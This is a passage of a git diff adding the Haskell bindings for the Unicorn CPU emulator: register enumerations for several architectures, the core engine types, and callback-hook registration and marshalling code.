b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm.chs @@ -0,0 +1,32 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.CPU.Arm +Description : Definitions for the ARM architecture. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Definitions for the ARM architecture. +-} +module Unicorn.CPU.Arm + ( + Register(..) + ) where + +import Unicorn.Internal.Core (Reg) + +{# context lib = "unicorn" #} + +#include + +-- | ARM registers. +{# enum uc_arm_reg as Register + { underscoreToCase } + omit ( UC_ARM_REG_INVALID + , UC_ARM_REG_ENDING + ) + with prefix = "UC_ARM_REG_" + deriving (Show, Eq, Bounded) +#} + +instance Reg Register diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm64.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm64.chs new file mode 100644 index 0000000..f4f1dec --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm64.chs @@ -0,0 +1,32 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.CPU.Arm64 +Description : Definitions for the ARM64 (ARMv8) architecture. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Definitions for the ARM64 (ARMv8) architecture. +-} +module Unicorn.CPU.Arm64 + ( + Register(..) + ) where + +import Unicorn.Internal.Core (Reg) + +{# context lib = "unicorn" #} + +#include + +-- | ARM64 registers. +{# enum uc_arm64_reg as Register + { underscoreToCase } + omit ( UC_ARM64_REG_INVALID + , UC_ARM64_REG_ENDING + ) + with prefix = "UC_ARM64_REG_" + deriving (Show, Eq, Bounded) +#} + +instance Reg Register diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/M68k.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/M68k.chs new file mode 100644 index 0000000..b06ffb3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/M68k.chs @@ -0,0 +1,32 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.CPU.Mk68k +Description : Definitions for the MK68K architecture. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Definitions for the MK68K architecture. +-} +module Unicorn.CPU.M68k + ( + Register(..) + ) where + +import Unicorn.Internal.Core (Reg) + +{# context lib = "unicorn" #} + +#include + +-- | M68K registers. +{# enum uc_m68k_reg as Register + { underscoreToCase } + omit ( UC_M68K_REG_INVALID + , UC_M68K_REG_ENDING + ) + with prefix = "UC_M68K_REG_" + deriving (Show, Eq, Bounded) +#} + +instance Reg Register diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Mips.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Mips.chs new file mode 100644 index 0000000..8ec5db4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Mips.chs @@ -0,0 +1,65 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.CPU.Mips +Description : Definitions for the MIPS architecture. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Definitions for the MIPS architecture. +-} +module Unicorn.CPU.Mips + ( + Register(..) + ) where + +import Unicorn.Internal.Core (Reg) + +{# context lib = "unicorn" #} + +#include + +-- | MIPS registers. +{# enum UC_MIPS_REG as Register + { underscoreToCase + , UC_MIPS_REG_0 as Reg0g + , UC_MIPS_REG_1 as Reg1g + , UC_MIPS_REG_2 as Reg2g + , UC_MIPS_REG_3 as Reg3g + , UC_MIPS_REG_4 as Reg4g + , UC_MIPS_REG_5 as Reg5g + , UC_MIPS_REG_6 as Reg6g + , UC_MIPS_REG_7 as Reg7g + , UC_MIPS_REG_8 as Reg8g + , UC_MIPS_REG_9 as Reg9g + , UC_MIPS_REG_10 as Reg10g + , UC_MIPS_REG_11 as Reg11g + , UC_MIPS_REG_12 as Reg12g + , UC_MIPS_REG_13 as Reg13g + , UC_MIPS_REG_14 as Reg14g + , UC_MIPS_REG_15 as Reg15g + , UC_MIPS_REG_16 as Reg16g + , UC_MIPS_REG_17 as Reg17g + , UC_MIPS_REG_18 as Reg18g + , UC_MIPS_REG_19 as Reg19g + , UC_MIPS_REG_20 as Reg20g + , UC_MIPS_REG_21 as Reg21g + , UC_MIPS_REG_22 as Reg22g + , UC_MIPS_REG_23 as Reg23g + , UC_MIPS_REG_24 as Reg24g + , UC_MIPS_REG_25 as Reg25g + , UC_MIPS_REG_26 as Reg26g + , UC_MIPS_REG_27 as Reg27g + , UC_MIPS_REG_28 as Reg28g + , UC_MIPS_REG_29 as Reg29g + , UC_MIPS_REG_30 as Reg30g + , UC_MIPS_REG_31 as Reg31 + } + omit ( UC_MIPS_REG_INVALID + , UC_MIPS_REG_ENDING + ) + with prefix = "UC_MIPS_REG_" + deriving (Show, Eq, Bounded) +#} + +instance Reg Register diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Sparc.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Sparc.chs new file mode 100644 index 0000000..e54262b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Sparc.chs @@ -0,0 +1,32 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.CPU.Sparc +Description : Definitions for the SPARC architecture. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Definitions for the SPARC architecture. +-} +module Unicorn.CPU.Sparc + ( + Register(..) + ) where + +import Unicorn.Internal.Core (Reg) + +{# context lib = "unicorn" #} + +#include + +-- | SPARC registers. +{# enum uc_sparc_reg as Register + { underscoreToCase } + omit (UC_SPARC_REG_INVALID + , UC_SPARC_REG_ENDING + ) + with prefix = "UC_SPARC_REG_" + deriving (Show, Eq, Bounded) +#} + +instance Reg Register diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/X86.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/X86.chs new file mode 100644 index 0000000..56608c1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/X86.chs @@ -0,0 +1,70 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.CPU.X86 +Description : Definitions for the X86 architecture. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Definitions for the X86 architecture. +-} +module Unicorn.CPU.X86 + ( + Mmr(..) + , Register(..) + , Instruction(..) + ) where + +import Control.Applicative +import Data.Word +import Foreign + +import Unicorn.Internal.Core (Reg) + +{# context lib = "unicorn" #} + +#include + +-- | Memory-managemen Register for instructions IDTR, GDTR, LDTR, TR. +-- Borrow from SegmentCache in qemu/target-i386/cpu.h +data Mmr = Mmr + { mmrSelector :: Word16 -- ^ Not used by GDTR and IDTR + , mmrBase :: Word64 -- ^ Handle 32 or 64 bit CPUs + , mmrLimit :: Word32 + , mmrFlags :: Word32 -- ^ Not used by GDTR and IDTR + } + +instance Storable Mmr where + sizeOf _ = {# sizeof uc_x86_mmr #} + alignment _ = {# alignof uc_x86_mmr #} + peek p = Mmr <$> liftA fromIntegral ({# get uc_x86_mmr->selector #} p) + <*> liftA fromIntegral ({# get uc_x86_mmr->base #} p) + <*> liftA fromIntegral ({# get uc_x86_mmr->limit #} p) + <*> liftA fromIntegral ({# get uc_x86_mmr->flags #} p) + poke p mmr = do + {# set uc_x86_mmr.selector #} p (fromIntegral $ mmrSelector mmr) + {# set uc_x86_mmr.base #} p (fromIntegral $ mmrBase mmr) + {# set uc_x86_mmr.limit #} p (fromIntegral $ mmrLimit mmr) + {# set uc_x86_mmr.flags #} p (fromIntegral $ mmrFlags mmr) + +-- | X86 registers. +{# enum uc_x86_reg as Register + { underscoreToCase } + omit ( UC_X86_REG_INVALID + , UC_X86_REG_ENDING + ) + with prefix = "UC_X86_REG_" + deriving (Show, Eq, Bounded) +#} + +instance Reg Register + +-- | X86 instructions. +{# enum uc_x86_insn as Instruction + { underscoreToCase } + omit ( UC_X86_INS_INVALID + , UC_X86_INS_ENDING + ) + with prefix = "UC_X86_INS_" + deriving (Show, Eq, Bounded) +#} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Hook.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Hook.hs new file mode 100644 index 0000000..0af53fd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Hook.hs @@ -0,0 +1,216 @@ +{-| +Module : Unicorn.Hook +Description : Unicorn hooks. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Insert hook points into the Unicorn emulator engine. +-} +module Unicorn.Hook + ( -- * Hook types + Hook + , MemoryHookType(..) + , MemoryEventHookType(..) + , MemoryAccess(..) + + -- * Hook callbacks + , CodeHook + , InterruptHook + , BlockHook + , InHook + , OutHook + , SyscallHook + , MemoryHook + , MemoryReadHook + , MemoryWriteHook + , MemoryEventHook + + -- * Hook callback management + , codeHookAdd + , interruptHookAdd + , blockHookAdd + , inHookAdd + , outHookAdd + , syscallHookAdd + , memoryHookAdd + , memoryEventHookAdd + , hookDel + ) where + +import Control.Monad +import Control.Monad.Trans.Class +import Control.Monad.Trans.Except (ExceptT (..), throwE) +import Foreign + +import Unicorn.Internal.Core +import Unicorn.Internal.Hook +import qualified Unicorn.CPU.X86 as X86 + +------------------------------------------------------------------------------- +-- Hook callback management (registration and deletion) +------------------------------------------------------------------------------- + +-- | Register a callback for a code hook event. +codeHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> CodeHook a -- ^ Code hook callback + -> a -- ^ User-defined data. This will be passed to + -- the callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or an 'Error' + -- on failure +codeHookAdd uc callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalCodeHook callback + getResult $ ucHookAdd uc HookCode funPtr userDataPtr begin end + +-- | Register a callback for an interrupt hook event. +interruptHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> InterruptHook a -- ^ Interrupt callback + -> a -- ^ User-defined data. This will be passed + -- to the callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or 'Error' + -- on failure +interruptHookAdd uc callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalInterruptHook callback + getResult $ ucHookAdd uc HookIntr funPtr userDataPtr begin end + +-- | Register a callback for a block hook event. +blockHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> BlockHook a -- ^ Block callback + -> a -- ^ User-defined data. This will be passed to + -- the callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or an 'Error' + -- on failure +blockHookAdd uc callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalBlockHook callback + getResult $ ucHookAdd uc HookBlock funPtr userDataPtr begin end + +-- | Register a callback for an IN instruction hook event (X86). +inHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> InHook a -- ^ IN instruction callback + -> a -- ^ User-defined data. This will be passed to the + -- callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or an 'Error' on + -- failure +inHookAdd uc callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalInHook callback + getResult $ ucInsnHookAdd uc HookInsn funPtr userDataPtr begin end + X86.In + +-- | Register a callback for an OUT instruction hook event (X86). +outHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> OutHook a -- ^ OUT instruction callback + -> a -- ^ User-defined data. This will be passed to the + -- callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or an 'Error' on + -- failure +outHookAdd uc callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalOutHook callback + getResult $ ucInsnHookAdd uc HookInsn funPtr userDataPtr begin end + X86.Out + +-- | Register a callback for a SYSCALL instruction hook event (X86). +syscallHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> SyscallHook a -- ^ SYSCALL instruction callback + -> a -- ^ User-defined data. This will be passed to + -- the callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or an 'Error' + -- on failure +syscallHookAdd uc callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalSyscallHook callback + getResult $ ucInsnHookAdd uc HookInsn funPtr userDataPtr begin end + X86.Syscall + +-- | Register a callback for a valid memory access event. +memoryHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> MemoryHookType -- ^ A valid memory access (e.g. read, write, + -- etc.) to trigger the callback on + -> MemoryHook a -- ^ Memory access callback + -> a -- ^ User-defined data. This will be passed to + -- the callback function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or an 'Error' + -- on failure +memoryHookAdd uc memHookType callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalMemoryHook callback + getResult $ ucHookAdd uc memHookType funPtr userDataPtr begin end + +-- | Register a callback for an invalid memory access event. +memoryEventHookAdd :: Storable a + => Engine -- ^ 'Unicorn' engine handle + -> MemoryEventHookType -- ^ An invalid memory access (e.g. + -- read, write, etc.) to trigger + -- the callback on + -> MemoryEventHook a -- ^ Invalid memory access callback + -> a -- ^ User-defined data. This will + -- be passed to the callback + -- function + -> Word64 -- ^ Start address + -> Word64 -- ^ End address + -> Emulator Hook -- ^ The hook handle on success, or + -- an 'Error' on failure +memoryEventHookAdd uc memEventHookType callback userData begin end = + ExceptT . alloca $ \userDataPtr -> do + poke userDataPtr userData + funPtr <- marshalMemoryEventHook callback + getResult $ ucHookAdd uc memEventHookType funPtr userDataPtr begin end + +-- | Unregister (remove) a hook callback. +hookDel :: Engine -- ^ 'Unicorn' engine handle + -> Hook -- ^ 'Hook' handle + -> Emulator () -- ^ 'ErrOk' on success, or other value on failure +hookDel uc hook = do + err <- lift $ ucHookDel uc hook + if err == ErrOk then + pure () + else + throwE err + +------------------------------------------------------------------------------- +-- Helper functions +------------------------------------------------------------------------------- + +-- Takes the tuple returned by `ucHookAdd`, an IO (Error, Hook), and +-- returns either a `Right Hook` if no error occurred or a `Left Error` if an +-- error occurred +getResult :: IO (Error, Hook) + -> IO (Either Error Hook) +getResult = + liftM (uncurry checkResult) + where checkResult err hook = + if err == ErrOk then + Right hook + else + Left err diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Core.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Core.chs new file mode 100644 index 0000000..762669d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Core.chs @@ -0,0 +1,54 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.Internal.Core +Description : Core Unicorn components. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Defines core Unicorn components. + +This module should not be directly imported; it is only exposed because of the +way cabal handles ordering of chs files. +-} +module Unicorn.Internal.Core where + +import Control.Monad +import Control.Monad.Trans.Except (ExceptT) +import Foreign + +{# context lib = "unicorn" #} + +#include +#include "unicorn_wrapper.h" + +-- | The Unicorn engine. +{# pointer *uc_engine as Engine + foreign finalizer uc_close_wrapper as close + newtype +#} + +-- | A pointer to a Unicorn engine. +{# pointer *uc_engine as EnginePtr -> Engine #} + +-- | Make a new Unicorn engine out of an engine pointer. The returned Unicorn +-- engine will automatically call 'uc_close_wrapper' when it goes out of scope. +mkEngine :: EnginePtr + -> IO Engine +mkEngine ptr = + liftM Engine (newForeignPtr close ptr) + +-- | Errors encountered by the Unicorn API. These values are returned by +-- 'errno'. +{# enum uc_err as Error + { underscoreToCase } + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | The emulator runs in the IO monad and allows for the handling of errors +-- "under the hood". +type Emulator a = ExceptT Error IO a + +-- | An architecture-dependent register. +class Enum a => Reg a diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Hook.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Hook.chs new file mode 100644 index 0000000..261adf1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Hook.chs @@ -0,0 +1,445 @@ +{-# LANGUAGE ForeignFunctionInterface #-} + +{-| +Module : Unicorn.Internal.Hook +Description : Unicorn hooks. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Low-level bindings for inserting hook points into the Unicorn emulator engine. + +This module should not be directly imported; it is only exposed because of the +way cabal handles ordering of chs files. +-} +module Unicorn.Internal.Hook + ( -- * Types + Hook + , HookType(..) + , MemoryHookType(..) + , MemoryEventHookType(..) + , MemoryAccess(..) + + -- * Hook callback bindings + , CodeHook + , InterruptHook + , BlockHook + , InHook + , OutHook + , SyscallHook + , MemoryHook + , MemoryReadHook + , MemoryWriteHook + , MemoryEventHook + + -- * Hook marshallin + , marshalCodeHook + , marshalInterruptHook + , marshalBlockHook + , marshalInHook + , marshalOutHook + , marshalSyscallHook + , marshalMemoryHook + , marshalMemoryReadHook + , marshalMemoryWriteHook + , marshalMemoryEventHook + + -- * Hook registration and deletion bindings + , ucHookAdd + , ucInsnHookAdd + , ucHookDel + ) where + +import Control.Monad +import Foreign + +import Unicorn.Internal.Util + +{# import Unicorn.Internal.Core #} +{# import Unicorn.CPU.X86 #} + +{# context lib = "unicorn" #} + +#include +#include "unicorn_wrapper.h" + +------------------------------------------------------------------------------- +-- Types +------------------------------------------------------------------------------- + +-- When we pass a Unicorn engine to a hook callback, we do not want this engine +-- object to be freed automatically when the callback returns (which is what +-- would typically occur when using a ForeignPtr), because we want to continue +-- using the Unicorn engine outside the callback. To avoid this, +-- unicorn_wrapper.h provides a dummy "close" function that does nothing. When +-- we go to create a Unicorn engine to pass to a callback, we use a pointer to +-- this dummy close function as the finalizer pointer. When the callback +-- returns, the Unicorn engine remains untouched! +-- +-- XX Is there a better way to do this? +foreign import ccall "&uc_close_dummy" + closeDummy :: FunPtr (EnginePtr -> IO ()) + +mkEngineNC :: EnginePtr + -> IO Engine +mkEngineNC ptr = + liftM Engine (newForeignPtr closeDummy ptr) + +-- | A Unicorn hook. +type Hook = {# type uc_hook #} + +-- Hook types. These are used internally within this module by the callback +-- registration functions and are not exposed to the user. +-- +-- Note that the both valid and invalid memory access hooks are omitted from +-- this enum (and are exposed to the user). +{# enum uc_hook_type as HookType + { underscoreToCase } + omit ( UC_HOOK_MEM_READ_UNMAPPED + , UC_HOOK_MEM_WRITE_UNMAPPED + , UC_HOOK_MEM_FETCH_UNMAPPED + , UC_HOOK_MEM_READ_PROT + , UC_HOOK_MEM_WRITE_PROT + , UC_HOOK_MEM_FETCH_PROT + , UC_HOOK_MEM_READ + , UC_HOOK_MEM_WRITE + , UC_HOOK_MEM_FETCH + , UC_HOOK_MEM_READ_AFTER + ) + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | Memory hook types (for valid memory accesses). +{# enum uc_hook_type as MemoryHookType + { underscoreToCase } + omit ( UC_HOOK_INTR + , UC_HOOK_INSN + , UC_HOOK_CODE + , UC_HOOK_BLOCK + , UC_HOOK_MEM_READ_UNMAPPED + , UC_HOOK_MEM_WRITE_UNMAPPED + , UC_HOOK_MEM_FETCH_UNMAPPED + , UC_HOOK_MEM_READ_PROT + , UC_HOOK_MEM_WRITE_PROT + , UC_HOOK_MEM_FETCH_PROT + ) + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | Memory event hook types (for invalid memory accesses). +{# enum uc_hook_type as MemoryEventHookType + { underscoreToCase } + omit ( UC_HOOK_INTR + , UC_HOOK_INSN + , UC_HOOK_CODE + , UC_HOOK_BLOCK + , UC_HOOK_MEM_READ + , UC_HOOK_MEM_WRITE + , UC_HOOK_MEM_FETCH + , UC_HOOK_MEM_READ_AFTER + ) + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | Unify the hook types with a type class +class Enum a => HookTypeC a + +instance HookTypeC HookType +instance HookTypeC MemoryHookType +instance HookTypeC MemoryEventHookType + +-- | Memory access. +{# enum uc_mem_type as MemoryAccess + { underscoreToCase } + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +------------------------------------------------------------------------------- +-- Hook callbacks +------------------------------------------------------------------------------- + +-- | Callback function for tracing code. +type CodeHook a = Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Addres where the code is being executed + -> Maybe Int -- ^ Size of machine instruction(s) being + -- executed, or 'Nothing' when size is unknown + -> a -- ^ User data passed to tracing APIs + -> IO () + +type CCodeHook = EnginePtr -> Word64 -> Word32 -> Ptr () -> IO () + +foreign import ccall "wrapper" + mkCodeHook :: CCodeHook + -> IO {# type uc_cb_hookcode_t #} + +marshalCodeHook :: Storable a + => CodeHook a + -> IO {# type uc_cb_hookcode_t #} +marshalCodeHook codeHook = + mkCodeHook $ \ucPtr address size userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + let maybeSize = if size == 0 then Nothing + else Just $ fromIntegral size + codeHook uc address maybeSize userData + +-- | Callback function for tracing interrupts. +type InterruptHook a = Engine -- ^ 'Unicorn' engine handle + -> Int -- ^ Interrupt number + -> a -- ^ User data passed to tracing APIs + -> IO () + +type CInterruptHook = EnginePtr -> Word32 -> Ptr () -> IO () + +foreign import ccall "wrapper" + mkInterruptHook :: CInterruptHook -> IO {# type uc_cb_hookintr_t #} + +marshalInterruptHook :: Storable a + => InterruptHook a + -> IO {# type uc_cb_hookintr_t #} +marshalInterruptHook interruptHook = + mkInterruptHook $ \ucPtr intNo userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + interruptHook uc (fromIntegral intNo) userData + +-- | Callback function for tracing blocks. +type BlockHook a = CodeHook a + +marshalBlockHook :: Storable a + => BlockHook a + -> IO {# type uc_cb_hookcode_t #} +marshalBlockHook = + marshalCodeHook + +-- | Callback function for tracing IN instructions (X86). +type InHook a = Engine -- ^ 'Unicorn' engine handle + -> Int -- ^ Port number + -> Int -- ^ Data size (1/2/4) to be read from this port + -> a -- ^ User data passed to tracing APIs + -> IO Word32 -- ^ The data read from the port + +type CInHook = EnginePtr -> Word32 -> Int32 -> Ptr () -> IO Word32 + +foreign import ccall "wrapper" + mkInHook :: CInHook -> IO {# type uc_cb_insn_in_t #} + +marshalInHook :: Storable a + => InHook a + -> IO {# type uc_cb_insn_in_t #} +marshalInHook inHook = + mkInHook $ \ucPtr port size userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + inHook uc (fromIntegral port) (fromIntegral size) userData + +-- | Callback function for tracing OUT instructions (X86). +type OutHook a = Engine -- ^ 'Unicorn' engine handle + -> Int -- ^ Port number + -> Int -- ^ Data size (1/2/4) to be written to this port + -> Int -- ^ Data value to be written to this port + -> a -- ^ User data passed to tracing APIs + -> IO () + +type COutHook = EnginePtr -> Word32 -> Int32 -> Word32 -> Ptr () -> IO () + +foreign import ccall "wrapper" + mkOutHook :: COutHook + -> IO {# type uc_cb_insn_out_t #} + +marshalOutHook :: Storable a + => OutHook a + -> IO {# type uc_cb_insn_out_t #} +marshalOutHook outHook = + mkOutHook $ \ucPtr port size value userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + outHook uc (fromIntegral port) (fromIntegral size) (fromIntegral value) + userData + +-- | Callback function for tracing SYSCALL instructions (X86). +type SyscallHook a = Engine -- ^ 'Unicorn' engine handle + -> a -- ^ User data passed to tracing APIs + -> IO () + +type CSyscallHook = Ptr () -> Ptr () -> IO () + +foreign import ccall "wrapper" + mkSyscallHook :: CSyscallHook + -> IO {# type uc_cb_insn_syscall_t #} + +marshalSyscallHook :: Storable a + => SyscallHook a + -> IO {# type uc_cb_insn_syscall_t #} +marshalSyscallHook syscallHook = + mkSyscallHook $ \ucPtr userDataPtr -> do + uc <- mkEngineNC $ castPtr ucPtr + userData <- castPtrAndPeek userDataPtr + syscallHook uc userData + +-- | Callback function for hooking memory operations. +type MemoryHook a = Engine -- ^ 'Unicorn' engine handle + -> MemoryAccess -- ^ Memory access; read or write + -> Word64 -- ^ Address where the code is being + -- executed + -> Int -- ^ Size of data being read or written + -> Maybe Int -- ^ Value of data being wrriten, or + -- 'Nothing' if read + -> a -- ^ User data passed to tracing APIs + -> IO () + +type CMemoryHook = EnginePtr + -> Int32 + -> Word64 + -> Int32 + -> Int64 + -> Ptr () + -> IO () + +foreign import ccall "wrapper" + mkMemoryHook :: CMemoryHook + -> IO {# type uc_cb_hookmem_t #} + +marshalMemoryHook :: Storable a + => MemoryHook a + -> IO {# type uc_cb_hookmem_t #} +marshalMemoryHook memoryHook = + mkMemoryHook $ \ucPtr memAccessI address size value userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + let memAccess = toMemAccess memAccessI + maybeValue = case memAccess of + MemRead -> Nothing + MemWrite -> Just $ fromIntegral value + _ -> error "Invalid memory access" + memoryHook uc memAccess address (fromIntegral size) maybeValue userData + +-- | Callback function for hooking memory reads. +type MemoryReadHook a = Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Address where the code is being executed + -> Int -- ^ Size of data being read + -> a -- ^ User data passed to tracing APIs + -> IO () + +marshalMemoryReadHook :: Storable a + => MemoryReadHook a + -> IO {# type uc_cb_hookmem_t #} +marshalMemoryReadHook memoryReadHook = + mkMemoryHook $ \ucPtr _ address size _ userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + memoryReadHook uc address (fromIntegral size) userData + +-- | Callback function for hooking memory writes. +type MemoryWriteHook a = Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Address where the code is being + -- executed + -> Int -- ^ Size of data being written + -> Int -- ^ Value of data being written + -> a -- ^ User data passed to tracing APIs + -> IO () + +marshalMemoryWriteHook :: Storable a + => MemoryWriteHook a + -> IO {# type uc_cb_hookmem_t #} +marshalMemoryWriteHook memoryWriteHook = + mkMemoryHook $ \ucPtr _ address size value userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + memoryWriteHook uc address (fromIntegral size) (fromIntegral value) + userData + +-- | Callback function for handling invalid memory access events. +type MemoryEventHook a = Engine -- ^ 'Unicorn' engine handle + -> MemoryAccess -- ^ Memory access; read or write + -> Word64 -- ^ Address where the code is being + -- executed + -> Int -- ^ Size of data being read or written + -> Maybe Int -- ^ Value of data being written, or + -- 'Nothing' if read + -> a -- ^ User data passed to tracing APIs + -> IO Bool -- ^ Return 'True' to continue, or + -- 'False' to stop the program (due to + -- invalid memory) + +type CMemoryEventHook = EnginePtr + -> Int32 + -> Word64 + -> Int32 + -> Int64 + -> Ptr () + -> IO Int32 + +foreign import ccall "wrapper" + mkMemoryEventHook :: CMemoryEventHook + -> IO {# type uc_cb_eventmem_t #} + +marshalMemoryEventHook :: Storable a + => MemoryEventHook a + -> IO {# type uc_cb_eventmem_t #} +marshalMemoryEventHook eventMemoryHook = + mkMemoryEventHook $ \ucPtr memAccessI address size value userDataPtr -> do + uc <- mkEngineNC ucPtr + userData <- castPtrAndPeek userDataPtr + let memAccess = toMemAccess memAccessI + maybeValue = case memAccess of + MemReadUnmapped -> Nothing + MemReadProt -> Nothing + MemWriteUnmapped -> Just $ fromIntegral value + MemWriteProt -> Just $ fromIntegral value + _ -> error "Invalid memory access" + res <- eventMemoryHook uc memAccess address (fromIntegral size) + maybeValue userData + return $ boolToInt res + where boolToInt True = 1 + boolToInt False = 0 + + +------------------------------------------------------------------------------- +-- Hook callback registration (and deletion) +------------------------------------------------------------------------------- + +{# fun variadic uc_hook_add as ucHookAdd + `HookTypeC h' => + { `Engine' + , alloca- `Hook' peek* + , enumToNum `h' + , castFunPtrToPtr `FunPtr b' + , castPtr `Ptr a' + , `Word64' + , `Word64' + } -> `Error' +#} + +{# fun variadic uc_hook_add[int] as ucInsnHookAdd + `HookTypeC h' => + { `Engine' + , alloca- `Hook' peek* + , enumToNum `h' + , castFunPtrToPtr `FunPtr b' + , castPtr `Ptr a' + , `Word64' + , `Word64' + , enumToNum `Instruction' + } -> `Error' +#} + +-- | Unregister (remove) a hook callback. +{# fun uc_hook_del as ^ + { `Engine' + , fromIntegral `Hook' + } -> `Error' +#} + +------------------------------------------------------------------------------- +-- Helper functions +------------------------------------------------------------------------------- + +toMemAccess :: Integral a + => a + -> MemoryAccess +toMemAccess = + toEnum . fromIntegral diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Unicorn.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Unicorn.chs new file mode 100644 index 0000000..db97552 --- /dev/null +++ 